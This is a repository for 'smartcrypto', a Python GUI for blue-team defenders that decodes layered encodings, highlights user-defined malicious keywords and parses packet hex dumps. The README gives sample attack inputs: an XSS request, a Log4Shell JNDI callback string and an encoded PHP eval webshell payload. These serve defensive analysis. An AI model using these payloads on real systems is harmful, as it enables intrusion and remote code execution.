├── README.md
└── smartcrypto.py
/README.md:
--------------------------------------------------------------------------------
1 | # smartcrypto_v1.0
2 | 一键报文解码,HVV,蓝队防守利器
3 | 一键式多功能加解密工具,具有以下特点:
4 |
5 | 1.无需繁琐判断,一键常用全编码解密。
6 |
7 | 2.自动识别需解密部分。
8 |
9 | 3.用户可自定义的恶意代码高亮显示。
10 |
11 | 4.大小写混淆识别。
12 |
13 | 5.对ICMP、UDP报文的解析。
14 |
15 | 6.Windows、Linux、Mac跨平台使用,仅需python3环境。
16 |
17 | 7.工具小巧且功能强大,仅3.4MB。
18 |
19 | 8.代码开源,安全可靠。
20 |
21 | 9.二维码生成功能。
22 |
23 | 工具运行:
24 |
25 | python 软件安装目录\smartcrypto.py
26 |
27 |
28 |
29 |
30 | 1.一键常用全编码解密:用户无需判断,系统自动尝试所有可用方法进行解密。配合完善的报错机制,帮助用户快速锁定正确的解密方式。
31 |
32 | 例:
33 |
34 | https%3A%2F%2Fwww.example.com%2Fabout%3Fuser%3Djohn%20doe
35 |
36 |
37 |
38 |
39 |
40 |
41 | 2.自动识别需解密部分:使用正则表达式自动检测并解密文本中的编码片段。
42 |
43 | 例:
44 |
45 | https://example.com/api?data=ZGF0YSt3aXRoL3NwZWNpYWw/Y2hhcnMmaW49aXQ=
46 |
47 |
48 |
49 |
50 | 3.用户可自定义的恶意代码高亮显示:用户可以在value.txt文件中添加关键词,使用户拥有自己的恶意代码识别库。系统会在输出结果中高亮显示这些关键词,帮助用户快速识别潜在威胁。
51 |
52 | 例:
53 |
54 |
61 |
62 |
63 |
64 |
65 | 4.大小写混淆识别:通过正则搜索,增强了对常见绕过安全防护技术的识别能力。
66 |
67 | 例:
68 |
69 | GET /_404_%3E%3Cscript%3EAlERt(1337)%3C%2Fscript%3E useragent: ${jndi:ldap://127.0.0.1#.${hostName}.useragent.cr3fnhsgvalhkg6trek0mktqo1urhqifi.oast.online} ///../app.js
70 |
71 |
72 |
73 |
74 | 帮助用户一键快速解密,并迅速锁定威胁代码。
75 |
76 | 5.对ICMP、UDP报文的解析:能够解析并展示HEX DUMP数据,提供详细的网络协议头部信息(如以太网、IP、ICMP、UDP等)。
77 |
78 | 例1.ICMP ping包:
79 |
80 | 00000000: 00 60 8C D9 72 3B 00 1C 23 4B C1 22 08 00 45 00 .`..r;..#K."..E.
81 |
82 | 00000010: 00 54 1C 46 40 00 40 01 F6 C2 C0 A8 00 68 C0 A8 .T.F@.@......h..
83 |
84 | 00000020: 00 01 08 00 07 56 00 01 00 4D 61 62 63 64 65 66 .....V...Mabcdef
85 |
86 | 00000030: 67 68 69 6A 6B 6C 6D 6E 6F 70 71 72 73 74 75 76 ghijklmnopqrstuv
87 |
88 | 00000040: 77 78 79 7A 00 00 00 00 00 00 00 00 00 00 wxyz............
89 |
90 |
91 |
92 |
93 | 例2.UDP DNS查询报文:
94 |
95 | 00000000: 00 1A A0 9B C3 12 00 1B 21 7B D4 F1 08 00 45 00 ......!.{....E.
96 |
97 | 00000010: 00 32 4A 1C 00 00 80 11 B7 E4 C0 A8 01 0A C0 A8 .2J.............
98 |
99 | 00000020: 01 01 1F 90 00 35 00 1E 5C A2 00 01 01 00 00 01 .....5..\.......
100 |
101 | 00000030: 00 00 00 00 00 00 03 77 77 77 07 65 78 61 6D 70 .......www.exam
102 |
103 | 00000040: 6C 65 03 63 6F 6D 00 00 01 00 01 ple.com.....
104 |
105 |
106 |
107 |
108 | 6.Windows、Linux、Mac跨平台使用,仅需python3环境。
109 |
110 | 7.工具小巧且功能强大,仅3.4MB。
111 |
112 |
113 | 8.代码开源,安全可靠。
114 |
115 | 9.二维码生成功能:
116 |
117 | 在输入框输入代码或其他内容,点击生成二维码。
118 |
119 | 方便在某些无网络的情况下传递数据。
120 |
121 | 也可以当成一个有趣的工具,逗女朋友开心^_^。
122 |
123 | 10.复杂的组合操作:
124 |
125 | 例:
126 |
127 | 1[]=xmykh.php&1[]=N3BuZGVhPD9waHAgY2xhc3MgR2FNMTBmQTUgeyBwdWJsaWMgZnVuY3Rpb24gX19jb25zdHJ1Y3QoJEg3bXU2KXsgQGV2YWwoIi8qWkc1emtuUmZTayovIi4kSDdtdTYuIiIpOyB9fW5ldyBHYU0xMGZBNSgkX1JFUVVFU1RbJ00nXSk7Pz4%3D&2=$a,$b&3=return var_dump(file_put_contents($b,base64_decode($a)));
128 |
129 |
130 |
131 |
132 | 说明他是经过URL+BASE64加密的。
133 |
134 | 把URL解密的结果复制,粘贴到输入框二次解密。
135 |
136 |
137 |
138 |
139 | 这时BASE64和URL安全BASE64都解出来了,对比两者。
140 |
141 | BASE64:
142 |
143 |
144 |
145 | URL安全BASE64:
146 |
147 |
148 |
149 | 明显可以看到BASE64有一段解密错误。
150 |
151 | 说明黑客是用URL安全BASE64加密的。
152 |
153 | 通过URL+URL安全BASE64组合解密,我们明显可以看出这是远程代码执行(RCE)。
154 |
155 | 11.另外,还有一些符合用户使用习惯的小功能,例如:
156 |
157 | l双击对应输出框,会自动跳转到详细视图界面,有更大的输出框,方便用户查看解密结果。
158 |
159 | l单击解密,会自动跳转到输出框,方便用户查看全局解密情况。
160 |
161 | l完善的复制粘贴功能,可以用快捷键,可以右键菜单,也可以点击用户界面的按钮。
162 |
163 | l一键清空功能,节约用户时间。
164 |
165 | l左下角状态栏功能,让用户知道“smartcrypto”时刻在忠实执行你的命令。
166 |
167 | 通过这些功能,工具帮助用户轻松进行各类加解密操作,提高了工作效率,并增强了数据分析和网络安全检测的能力。即使对编程和网络安全知识了解不多,也能通过这个工具轻松进行相关操作。
168 |
169 | 联系与支持
170 |
171 | 本工具会一直维护,如需要开发什么新的实用功能或建议,请联系开发者:
172 |
173 | 邮箱:dreamblade123@163.com
174 |
175 | 微信:allen886611
176 |
--------------------------------------------------------------------------------
/smartcrypto.py:
--------------------------------------------------------------------------------
1 | import sys
2 | import os
3 |
4 | # 添加当前目录到 Python 路径
5 | current_dir = os.path.dirname(os.path.abspath(__file__))
6 | sys.path.insert(0, current_dir)
7 |
8 | # 添加 libs 目录到 Python 路径
9 | libs_dir = os.path.join(current_dir, 'libs')
10 | sys.path.insert(0, libs_dir)
11 |
12 | import tkinter as tk
13 | from tkinter import ttk, scrolledtext, filedialog, messagebox
14 | import pyperclip # type: ignore
15 | import qrcode # type: ignore
16 | from PIL import Image, ImageTk # type: ignore
17 | import io
18 | import urllib.parse
19 | import base64
20 | import hashlib
21 | import re
22 | import binascii
23 | import socket
24 | import struct
25 |
26 | class CryptoApp:
27 | def __init__(self, master):
28 | self.master = master
29 | master.title("多功能加解密工具smartcrypto_v1.0 --by dreamblade")
30 | master.geometry("1200x800")
31 | master.configure(bg="#f0f0f0")
32 |
33 | self.create_styles()
34 | self.create_widgets()
35 | self.create_context_menus()
36 |
37 | # 读取关键词列表
38 | self.keywords = self.load_keywords()
39 |
40 | def create_styles(self):
41 | style = ttk.Style()
42 | style.theme_use('clam')
43 |
44 | style.element_create("Custom.Checkbutton.indicator", "from", "default")
45 | style.layout("Custom.TCheckbutton", [
46 | ('Custom.Checkbutton.indicator', {'side': 'left', 'sticky': ''}),
47 | ('Checkbutton.focus', {'side': 'left', 'sticky': '',
48 | 'children': [('Checkbutton.label', {'sticky': ''})]})
49 | ])
50 | style.configure("Custom.TCheckbutton",
51 | indicatorcolor="#ffffff",
52 | indicatorbackground="#ffffff",
53 | font=("Helvetica", 10))
54 | style.map("Custom.TCheckbutton",
55 | indicatorcolor=[("selected", "#00aa00")],
56 | indicatorbackground=[("selected", "#ffffff")])
57 |
58 | def create_widgets(self):
59 | main_frame = ttk.Frame(self.master, padding="10")
60 | main_frame.pack(fill=tk.BOTH, expand=True)
61 |
62 | # 状态栏
63 | self.status_bar = ttk.Label(self.master, text="就绪", relief=tk.SUNKEN, anchor=tk.W)
64 | self.status_bar.pack(side=tk.BOTTOM, fill=tk.X)
65 |
66 | main_frame = ttk.Frame(self.master, padding="10")
67 | main_frame.pack(fill=tk.BOTH, expand=True)
68 |
69 | # 输入框
70 | input_frame = ttk.LabelFrame(main_frame, text="输入", padding="5")
71 | input_frame.pack(fill=tk.X, pady=5)
72 | self.input_text = scrolledtext.ScrolledText(input_frame, height=5, font=("Consolas", 11))
73 | self.input_text.pack(fill=tk.X)
74 |
75 | # 输入操作按钮
76 | input_button_frame = ttk.Frame(main_frame)
77 | input_button_frame.pack(fill=tk.X, pady=5)
78 | ttk.Button(input_button_frame, text="粘贴", command=self.paste_input).pack(side=tk.LEFT, padx=2)
79 | ttk.Button(input_button_frame, text="复制", command=self.copy_input).pack(side=tk.LEFT, padx=2)
80 | ttk.Button(input_button_frame, text="从文件加载", command=self.load_from_file).pack(side=tk.LEFT, padx=2)
81 | ttk.Button(input_button_frame, text="保存到文件", command=self.save_to_file).pack(side=tk.LEFT, padx=2)
82 |
83 | # 主要操作按钮
84 | button_frame = ttk.Frame(main_frame)
85 | button_frame.pack(pady=10)
86 | self.encrypt_button = ttk.Button(button_frame, text="加密", command=self.encrypt)
87 | self.encrypt_button.pack(side=tk.LEFT, padx=5)
88 | self.decrypt_button = ttk.Button(button_frame, text="解密", command=self.decrypt)
89 | self.decrypt_button.pack(side=tk.LEFT, padx=5)
90 | self.clear_button = ttk.Button(button_frame, text="清空", command=self.clear)
91 | self.clear_button.pack(side=tk.LEFT, padx=5)
92 | self.qr_button = ttk.Button(button_frame, text="生成二维码", command=self.generate_qr)
93 | self.qr_button.pack(side=tk.LEFT, padx=5)
94 |
95 | # 加解密方式选择
96 | methods_frame = ttk.LabelFrame(main_frame, text="加解密方式", padding="5")
97 | methods_frame.pack(fill=tk.X, pady=5)
98 | self.methods = ["URL", "Unicode/ASCII", "Unicode/中文", "UTF-8", "16进制", "8进制", "2进制", "BASE64", "URL安全Base64", "MD5", "Hex Dump"]
99 | self.method_vars = []
100 | for i, method in enumerate(self.methods):
101 | var = tk.BooleanVar(value=True)
102 | chk = ttk.Checkbutton(methods_frame, text=method, variable=var, style="Custom.TCheckbutton")
103 | chk.grid(row=i//5, column=i%5, sticky="w", padx=5, pady=2)
104 | self.method_vars.append(var)
105 |
106 | # Notebook
107 | self.notebook = ttk.Notebook(main_frame)
108 | self.notebook.pack(fill=tk.BOTH, expand=True, pady=5)
109 |
110 | # 输出页
111 | page1 = ttk.Frame(self.notebook)
112 | self.notebook.add(page1, text="输出")
113 |
114 | # 详细视图页
115 | page2 = ttk.Frame(self.notebook)
116 | self.notebook.add(page2, text="详细视图")
117 | self.detail_view = scrolledtext.ScrolledText(page2, height=20, font=("Consolas", 11))
118 | self.detail_view.pack(fill=tk.BOTH, expand=True, padx=5, pady=5)
119 |
120 | # 输出框
121 | self.output_frames = {}
122 | for i, method in enumerate(self.methods):
123 | frame = ttk.LabelFrame(page1, text=method, padding="2")
124 | frame.grid(row=i//2, column=i%2, sticky="nsew", padx=5, pady=5)
125 | output = scrolledtext.ScrolledText(frame, height=5, font=("Consolas", 10))
126 | output.pack(fill=tk.BOTH, expand=True)
127 | output.bind("", lambda e, m=method: self.show_detail(m))
128 | self.output_frames[method] = output
129 |
130 | # 配置网格布局
131 | page1.grid_columnconfigure(0, weight=1)
132 | page1.grid_columnconfigure(1, weight=1)
133 | for i in range(6):
134 | page1.grid_rowconfigure(i, weight=1)
135 |
136 | def create_context_menus(self):
137 | self.input_menu = tk.Menu(self.master, tearoff=0)
138 | self.input_menu.add_command(label="复制", command=self.copy_selected)
139 | self.input_menu.add_command(label="粘贴", command=self.paste_selected)
140 | self.input_menu.add_command(label="剪切", command=self.cut_selected)
141 | self.input_menu.add_separator()
142 | self.input_menu.add_command(label="清空", command=self.clear_selected)
143 |
144 | self.output_menu = tk.Menu(self.master, tearoff=0)
145 | self.output_menu.add_command(label="复制", command=self.copy_selected)
146 | self.output_menu.add_separator()
147 | self.output_menu.add_command(label="清空", command=self.clear_selected)
148 |
149 | self.input_text.bind("", self.show_context_menu)
150 | self.detail_view.bind("", self.show_context_menu)
151 | for output in self.output_frames.values():
152 | output.bind("", self.show_context_menu)
153 |
154 | def show_context_menu(self, event):
155 | widget = event.widget
156 | if widget == self.input_text:
157 | self.input_menu.tk_popup(event.x_root, event.y_root)
158 | else:
159 | self.output_menu.tk_popup(event.x_root, event.y_root)
160 |
161 | def copy_selected(self):
162 | try:
163 | selected_text = self.master.focus_get().selection_get()
164 | pyperclip.copy(selected_text)
165 | self.status_bar.config(text="已复制选中内容")
166 | except:
167 | self.status_bar.config(text="无法复制:未选中内容")
168 |
169 | def paste_selected(self):
170 | try:
171 | self.master.focus_get().insert(tk.INSERT, pyperclip.paste())
172 | self.status_bar.config(text="已粘贴内容")
173 | except:
174 | self.status_bar.config(text="无法粘贴:不支持粘贴操作")
175 |
176 | def cut_selected(self):
177 | try:
178 | selected_text = self.master.focus_get().selection_get()
179 | pyperclip.copy(selected_text)
180 | self.master.focus_get().delete(tk.SEL_FIRST, tk.SEL_LAST)
181 | self.status_bar.config(text="已剪切选中内容")
182 | except:
183 | self.status_bar.config(text="无法剪切:未选中内容")
184 |
185 | def clear_selected(self):
186 | try:
187 | self.master.focus_get().delete('1.0', tk.END)
188 | self.status_bar.config(text="已清空内容")
189 | except:
190 | self.status_bar.config(text="无法清空:不支持清空操作")
191 |
192 | def show_detail(self, method):
193 | content = self.output_frames[method].get('1.0', tk.END)
194 | self.detail_view.delete('1.0', tk.END)
195 | self.detail_view.insert(tk.END, f"{method} 详细内容:\n\n")
196 | self.highlight_keywords(content, self.detail_view)
197 | self.notebook.select(1) # 切换到第二页
198 |
199 | def load_keywords(self):
200 | keywords = []
201 | try:
202 | keywords_path = os.path.join(current_dir, 'value.txt')
203 | with open(keywords_path, 'r', encoding='utf-8') as f:
204 | keywords = [line.strip() for line in f if line.strip()]
205 | except FileNotFoundError:
206 | print("未找到 value.txt 文件,将创建一个空文件。")
207 | with open(keywords_path, 'w', encoding='utf-8') as f:
208 | pass
209 | return keywords
210 |
211 | def highlight_keywords(self, text, output_widget):
212 | output_widget.delete('1.0', tk.END)
213 | output_widget.insert(tk.END, text)
214 | for keyword in self.keywords:
215 | start = '1.0'
216 | while True:
217 | # 使用正则表达式进行不区分大小写的搜索
218 | match = output_widget.search(re.escape(keyword), start, stopindex=tk.END, regexp=True, nocase=True)
219 | if not match:
220 | break
221 | end = output_widget.index(f"{match}+{len(keyword)}c")
222 | output_widget.tag_add('highlight', match, end)
223 | start = end
224 | output_widget.tag_config('highlight', background='yellow', foreground='red')
225 |
226 | def encrypt(self):
227 | input_text = self.input_text.get('1.0', tk.END).strip()
228 | if not input_text:
229 | messagebox.showwarning("警告", "请先输入文本")
230 | return
231 |
232 | for method, var in zip(self.methods, self.method_vars):
233 | if var.get():
234 | try:
235 | if method == "URL":
236 | result = urllib.parse.quote(input_text, safe='')
237 | elif method == "Unicode/ASCII":
238 | result = ' '.join([str(ord(c)) for c in input_text])
239 | elif method == "Unicode/中文":
240 | result = ''.join(f"\\u{ord(c):04x}" for c in input_text)
241 | elif method == "UTF-8":
242 | result = ''.join([f'\\x{b:02x}' for b in input_text.encode('utf-8')])
243 | elif method == "16进制":
244 | result = input_text.encode().hex()
245 | elif method == "8进制":
246 | result = ' '.join([f"{ord(c):03o}" for c in input_text])
247 | elif method == "2进制":
248 | result = ' '.join([f"{ord(c):08b}" for c in input_text])
249 | elif method == "BASE64":
250 | result = base64.b64encode(input_text.encode()).decode()
251 | elif method == "URL安全Base64":
252 | result = base64.urlsafe_b64encode(input_text.encode()).decode()
253 | elif method == "MD5":
254 | result = hashlib.md5(input_text.encode()).hexdigest()
255 | elif method == "Hex Dump":
256 | result = self.hex_dump(input_text.encode())
257 | self.highlight_keywords(result, self.output_frames[method])
258 | except Exception as e:
259 | self.output_frames[method].delete('1.0', tk.END)
260 | self.output_frames[method].insert(tk.END, f"错误: {str(e)}")
261 |
262 | self.status_bar.config(text="加密完成")
263 | self.notebook.select(0) # 切换到输出页面
264 |
265 | def decrypt(self):
266 | input_text = self.input_text.get('1.0', tk.END).strip()
267 | if not input_text:
268 | messagebox.showwarning("警告", "请先输入文本")
269 | return
270 |
271 | for method, var in zip(self.methods, self.method_vars):
272 | if var.get():
273 | try:
274 | result = self.partial_decode(input_text, method)
275 | if result == input_text and method != "MD5":
276 | raise ValueError("无法解密")
277 | self.highlight_keywords(result, self.output_frames[method])
278 | except Exception as e:
279 | self.output_frames[method].delete('1.0', tk.END)
280 | self.output_frames[method].insert(tk.END, f"错误: {str(e)}")
281 |
282 | self.status_bar.config(text="解密完成")
283 | self.notebook.select(0) # 切换到输出页面
284 |
285 | def partial_decode(self, text, method):
286 | if method == "URL":
287 | return urllib.parse.unquote(text)
288 | elif method == "Unicode/ASCII":
289 | return ''.join([chr(int(c)) for c in text.split()])
290 | elif method == "Unicode/中文":
291 | try:
292 | decoded = text.encode().decode('unicode_escape')
293 | return decoded
294 | except:
295 | raise ValueError("无法解密")
296 | elif method == "UTF-8":
297 | try:
298 | decoded_text = bytes(text, "utf-8").decode("unicode_escape").encode('latin1').decode('utf-8')
299 | return decoded_text
300 | except:
301 | raise ValueError("无法解码")
302 | elif method == "16进制":
303 | return bytes.fromhex(text).decode()
304 | elif method == "8进制":
305 | return ''.join([chr(int(c, 8)) for c in text.split()])
306 | elif method == "2进制":
307 | return ''.join([chr(int(c, 2)) for c in text.split()])
308 | elif method == "BASE64":
309 | try:
310 | pattern = r'[A-Za-z0-9+/]{4,}={0,2}'
311 | matches = re.findall(pattern, text)
312 | if not matches:
313 | raise ValueError("未找到有效的Base64编码")
314 | decoded_parts = []
315 | for match in matches:
316 | try:
317 | decoded = base64.b64decode(match).decode()
318 | decoded_parts.append(decoded)
319 | except:
320 | decoded_parts.append(match)
321 | return re.sub(pattern, lambda m: decoded_parts.pop(0), text)
322 | except Exception as e:
323 | raise ValueError(f"Base64解码错误: {str(e)}")
324 | elif method == "URL安全Base64":
325 | try:
326 | pattern = r'[A-Za-z0-9_-]{4,}={0,2}'
327 | matches = re.findall(pattern, text)
328 | if not matches:
329 | raise ValueError("未找到有效的URL安全Base64编码")
330 | decoded_parts = []
331 | for match in matches:
332 | try:
333 | decoded = base64.urlsafe_b64decode(match).decode()
334 | decoded_parts.append(decoded)
335 | except:
336 | decoded_parts.append(match)
337 | return re.sub(pattern, lambda m: decoded_parts.pop(0), text)
338 | except Exception as e:
339 | raise ValueError(f"URL安全Base64解码错误: {str(e)}")
340 | elif method == "MD5":
341 | return "MD5 无法解密"
342 | elif method == "Hex Dump":
343 | return self.parse_hex_dump(text)
344 | else:
345 | raise ValueError("未知的解密方法")
346 |
347 | def hex_dump(self, data):
348 | def grouped(iterable, n):
349 | return zip(*[iter(iterable)]*n)
350 |
351 | result = []
352 | for i, chunk in enumerate(grouped(data, 16)):
353 | hexa = ' '.join([f'{x:02X}' for x in chunk])
354 | text = ''.join([chr(x) if 32 <= x < 127 else '.' for x in chunk])
355 | result.append(f'{i*16:08X}: {hexa:<48} {text}')
356 | return '\n'.join(result)
357 |
358 | def parse_hex_dump(self, hex_dump):
359 | lines = hex_dump.strip().split('\n')
360 | output = ""
361 | binary_data = b''
362 |
363 | for line in lines:
364 | match = re.match(r'([0-9A-Fa-f]+):\s+((?:[0-9A-Fa-f]{2}\s*){1,16})\s*(.{0,16})', line)
365 | if match:
366 | offset, hex_values, ascii_values = match.groups()
367 | hex_bytes = bytes.fromhex(hex_values.replace(' ', ''))
368 | binary_data += hex_bytes
369 | output += f"{line}\n"
370 |
371 | output += "-" * 60 + "\n"
372 |
373 | try:
374 | # 解析以太网头部
375 | if len(binary_data) >= 14:
376 | eth_header = struct.unpack('!6s6s2s', binary_data[:14])
377 | dst_mac = ':'.join([f'{b:02X}' for b in eth_header[0]])
378 | src_mac = ':'.join([f'{b:02X}' for b in eth_header[1]])
379 | eth_type = int.from_bytes(eth_header[2], 'big')
380 |
381 | output += "以太网头部:\n"
382 | output += f"目的MAC地址: {dst_mac}\n"
383 | output += f"源MAC地址: {src_mac}\n"
384 | output += f"以太网类型: 0x{eth_type:04X} ({self.get_ether_type(eth_type)})\n"
385 | output += "-" * 60 + "\n"
386 |
387 | # 解析IP头部
388 | if eth_type == 0x0800 and len(binary_data) >= 34: # IPv4
389 | ip_header = struct.unpack('!BBHHHBBH4s4s', binary_data[14:34])
390 |
391 | version = ip_header[0] >> 4
392 | ihl = ip_header[0] & 0xF
393 | tos = ip_header[1]
394 | total_length = ip_header[2]
395 | identification = ip_header[3]
396 | flags_and_offset = ip_header[4]
397 | flags = flags_and_offset >> 13
398 | fragment_offset = flags_and_offset & 0x1FFF
399 | ttl = ip_header[5]
400 | protocol = ip_header[6]
401 | header_checksum = ip_header[7]
402 | src_ip = socket.inet_ntoa(ip_header[8])
403 | dst_ip = socket.inet_ntoa(ip_header[9])
404 |
405 | output += "IP头部:\n"
406 | output += f"版本: IPv{version}\n"
407 | output += f"头部长度: {ihl*4} 字节\n"
408 | output += f"服务类型: 0x{tos:02X}\n"
409 | output += f"总长度: {total_length} 字节\n"
410 | output += f"标识: 0x{identification:04X}\n"
411 | output += f"{self.get_ip_flags_and_offset(flags, fragment_offset)}\n"
412 | output += f"生存时间: {ttl}\n"
413 | output += f"协议: {self.get_protocol_name(protocol)} ({protocol})\n"
414 | output += f"头部校验和: 0x{header_checksum:04X}\n"
415 | output += f"源IP地址: {src_ip}\n"
416 | output += f"目的IP地址: {dst_ip}\n"
417 | output += "-" * 60 + "\n"
418 |
419 | # 解析ICMP
420 | if protocol == 1 and len(binary_data) >= 42: # ICMP
421 | icmp_header = struct.unpack('!BBHHH', binary_data[34:42])
422 | icmp_type, icmp_code, icmp_checksum, icmp_id, icmp_seq = icmp_header
423 |
424 | output += "ICMP头部:\n"
425 | output += f"类型: {icmp_type} ({self.get_icmp_type(icmp_type, icmp_code)})\n"
426 | output += f"代码: {icmp_code}\n"
427 | output += f"校验和: 0x{icmp_checksum:04X}\n"
428 | output += f"标识符: {icmp_id}\n"
429 | output += f"序列号: {icmp_seq}\n"
430 | output += "-" * 60 + "\n"
431 |
432 | icmp_data = binary_data[42:]
433 | output += "ICMP数据部分:\n"
434 | for i in range(0, len(icmp_data), 16):
435 | chunk = icmp_data[i:i+16]
436 | output += f"{chunk.hex(' ').upper()}\n"
437 | output += f"ASCII: {self.bytes_to_ascii(icmp_data)}\n"
438 |
439 | # 解析UDP
440 | elif protocol == 17 and len(binary_data) >= 42: # UDP
441 | udp_header = struct.unpack('!HHHH', binary_data[34:42])
442 | src_port, dst_port, length, checksum = udp_header
443 |
444 | output += "UDP头部:\n"
445 | output += f"源端口: {src_port}\n"
446 | output += f"目的端口: {dst_port}\n"
447 | output += f"长度: {length}\n"
448 | output += f"校验和: 0x{checksum:04X}\n"
449 | output += "-" * 60 + "\n"
450 |
451 | udp_data = binary_data[42:]
452 | output += "UDP数据部分:\n"
453 | for i in range(0, len(udp_data), 16):
454 | chunk = udp_data[i:i+16]
455 | output += f"{chunk.hex(' ').upper()}\n"
456 | output += f"ASCII: {self.bytes_to_ascii(udp_data)}\n"
457 |
458 | except Exception as e:
459 | output += f"解析错误: {str(e)}\n"
460 |
461 | return output
462 |
463 | def get_ether_type(self, eth_type):
464 | ether_types = {0x0800: "IPv4", 0x0806: "ARP", 0x86DD: "IPv6"}
465 | return ether_types.get(eth_type, f"未知 (0x{eth_type:04X})")
466 |
467 | def get_ip_flags_and_offset(self, flags, offset):
468 | flag_str = ""
469 | if flags & 4:
470 | flag_str += "Reserved "
471 | if flags & 2:
472 | flag_str += "Don't Fragment "
473 | if flags & 1:
474 | flag_str += "More Fragments "
475 | return f"标志 = {flag_str.strip()},片偏移 = {offset}"
476 |
477 | def get_protocol_name(self, protocol):
478 | protocols = {1: "ICMP", 6: "TCP", 17: "UDP"}
479 | return protocols.get(protocol, f"未知协议 ({protocol})")
480 |
481 | def get_icmp_type(self, icmp_type, icmp_code):
482 | icmp_types = {
483 | 0: "Echo Reply",
484 | 3: "Destination Unreachable",
485 | 5: "Redirect",
486 | 8: "Echo Request",
487 | 11: "Time Exceeded",
488 | }
489 | return icmp_types.get(icmp_type, f"未知ICMP类型 (类型: {icmp_type}, 代码: {icmp_code})")
490 |
491 | def bytes_to_ascii(self, data):
492 | return ''.join([chr(b) if 32 <= b <= 126 else '.' for b in data])
493 |
494 | def clear(self):
495 | self.input_text.delete('1.0', tk.END)
496 | for output in self.output_frames.values():
497 | output.delete('1.0', tk.END)
498 | self.detail_view.delete('1.0', tk.END)
499 | self.status_bar.config(text="已清空所有内容")
500 |
501 | def paste_input(self):
502 | self.input_text.delete('1.0', tk.END)
503 | self.input_text.insert(tk.END, pyperclip.paste())
504 | self.status_bar.config(text="已粘贴内容到输入框")
505 |
506 | def copy_input(self):
507 | pyperclip.copy(self.input_text.get('1.0', tk.END).strip())
508 | self.status_bar.config(text="已复制输入框内容")
509 |
510 | def load_from_file(self):
511 | file_path = filedialog.askopenfilename()
512 | if file_path:
513 | with open(file_path, 'r', encoding='utf-8') as file:
514 | content = file.read()
515 | self.input_text.delete('1.0', tk.END)
516 | self.input_text.insert(tk.END, content)
517 | self.status_bar.config(text=f"已从文件加载内容: {file_path}")
518 |
519 | def save_to_file(self):
520 | file_path = filedialog.asksaveasfilename(defaultextension=".txt")
521 | if file_path:
522 | with open(file_path, 'w', encoding='utf-8') as file:
523 | input_content = self.input_text.get('1.0', tk.END).strip()
524 | detail_content = self.detail_view.get('1.0', tk.END).strip()
525 | file.write(f"{input_content}\n\n{'='*50}\n\n{detail_content}")
526 | self.status_bar.config(text=f"已保存内容到文件: {file_path}")
527 |
528 | def generate_qr(self):
529 | input_text = self.input_text.get('1.0', tk.END).strip()
530 | if not input_text:
531 | messagebox.showwarning("警告", "请先输入文本")
532 | return
533 | qr = qrcode.QRCode(version=1, box_size=10, border=5)
534 | qr.add_data(input_text)
535 | qr.make(fit=True)
536 | img = qr.make_image(fill_color="black", back_color="white")
537 |
538 | buffer = io.BytesIO()
539 | img.save(buffer, format="PNG")
540 | photo = ImageTk.PhotoImage(Image.open(buffer))
541 |
542 | top = tk.Toplevel(self.master)
543 | top.title("二维码")
544 | label = ttk.Label(top, image=photo)
545 | label.image = photo
546 | label.pack()
547 | self.status_bar.config(text="已生成二维码")
548 |
549 | def main():
550 | root = tk.Tk()
551 | app = CryptoApp(root)
552 | root.mainloop()
553 |
554 | if __name__ == "__main__":
555 | main()
--------------------------------------------------------------------------------